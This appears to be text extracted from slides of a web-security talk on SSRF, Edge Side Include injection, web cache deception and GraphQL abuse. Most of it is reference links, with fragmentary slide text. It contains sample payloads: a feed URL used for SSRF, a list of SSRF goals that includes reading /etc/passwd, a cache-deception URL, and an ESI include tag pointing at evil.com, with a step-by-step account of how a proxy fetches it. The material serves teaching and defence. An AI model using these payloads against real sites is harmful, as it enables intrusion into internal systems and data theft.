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https://mysite.com/feed.php?url=https://externalsite.com/feed/
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Scan internal and external networks

Port Scans

Access local web server or system files (/etc/passwd)

Attack internal applications

Enumerate Services

Abuse the trust relationship of the server with others

http://blog.blueinfy.com/2017/12/server-side-request-forgery-ssrf-attack.html

http://blog.blueinfy.com/2017/12/server-side-request-forgery-ssrf-attack.html
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https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/
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https://hackerone.com/reports/386292
https://hackerone.com/reports/382048
https://hackerone.com/reports/643622
https://hackerone.com/reports/508459
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https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
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Weather Website

Weather For Auckland

Saturday 25°C

Sunday 28°C

Monday 27°C

Cached Content

Dynamic Content
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1

/x.php?x=<esi:include src=http://evil.com/>
2 Get /x.php?x=<esi…

3 Return x.php with
ESI tags

4
ESI tags processed
Get http://evil.com

5 Return evil.com

6 Return x.php and evil.comBrowser Reverse Proxy Backend Server

Evil.com 
1. The attacker performs a request passing through a 

surrogate server with an ESI payload, trying to get the 
backend server to reflect it in the response.

2. The surrogate server receives the request and forwards it 
to the appropriate backend server.

3. The application server reflects the ESI payload in the 
response, sends that response to the surrogate server.

4. The surrogate server receives the response, parses it to check if 
any ESI tags are present. The surrogate server parses the 
reflected ESI tag and performs the side-request to evil.com.

5. The surrogate server receives the side-request from evil.com and 
adds it to the initial response from the backend server.

6. The surrogate server sends the full response back to the client.

http://evil.com/
http://evil.com/
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https://access.redhat.com/security/cve/cve-2018-1000024
https://access.redhat.com/security/cve/cve-2018-1000027
https://nvd.nist.gov/vuln/detail/CVE-2019-2438
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https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online
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http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
https://hackerone.com/reports/492841
https://hackerone.com/reports/397508/
https://hackerone.com/reports/593712
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https://non-existentsite.com/home.php/non-existent.css
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https://labs.detectify.com/2018/03/14/graphql-abuse/

https://labs.detectify.com/2018/03/14/graphql-abuse/
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http://bearcatjs.org/graphql-versus-rest-api/
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https://graphql.org/learn/introspection/
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https://github.com/andev-software/graphql-ide
https://github.com/doyensec/graph-ql/
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https://blog.doyensec.com/2018/05/17/graphql-security-overview.html
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https://hackerone.com/reports/342978

https://hackerone.com/reports/342978
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https://hackerone.com/reports/419883

https://hackerone.com/reports/419883
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https://hackerone.com/reports/633001

https://hackerone.com/reports/633001
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https://medium.com/swlh/protecting-your-graphql-api-from-security-vulnerabilities-e8afdfa6fbe4
https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e
https://labs.detectify.com/2018/03/14/graphql-abuse/
https://graphql.org/learn/introspection/
https://labs.detectify.com/2018/03/14/graphql-abuse/
https://blog.doyensec.com/2018/05/17/graphql-security-overview.html
https://lucasconstantino.github.io/graphiql-online/
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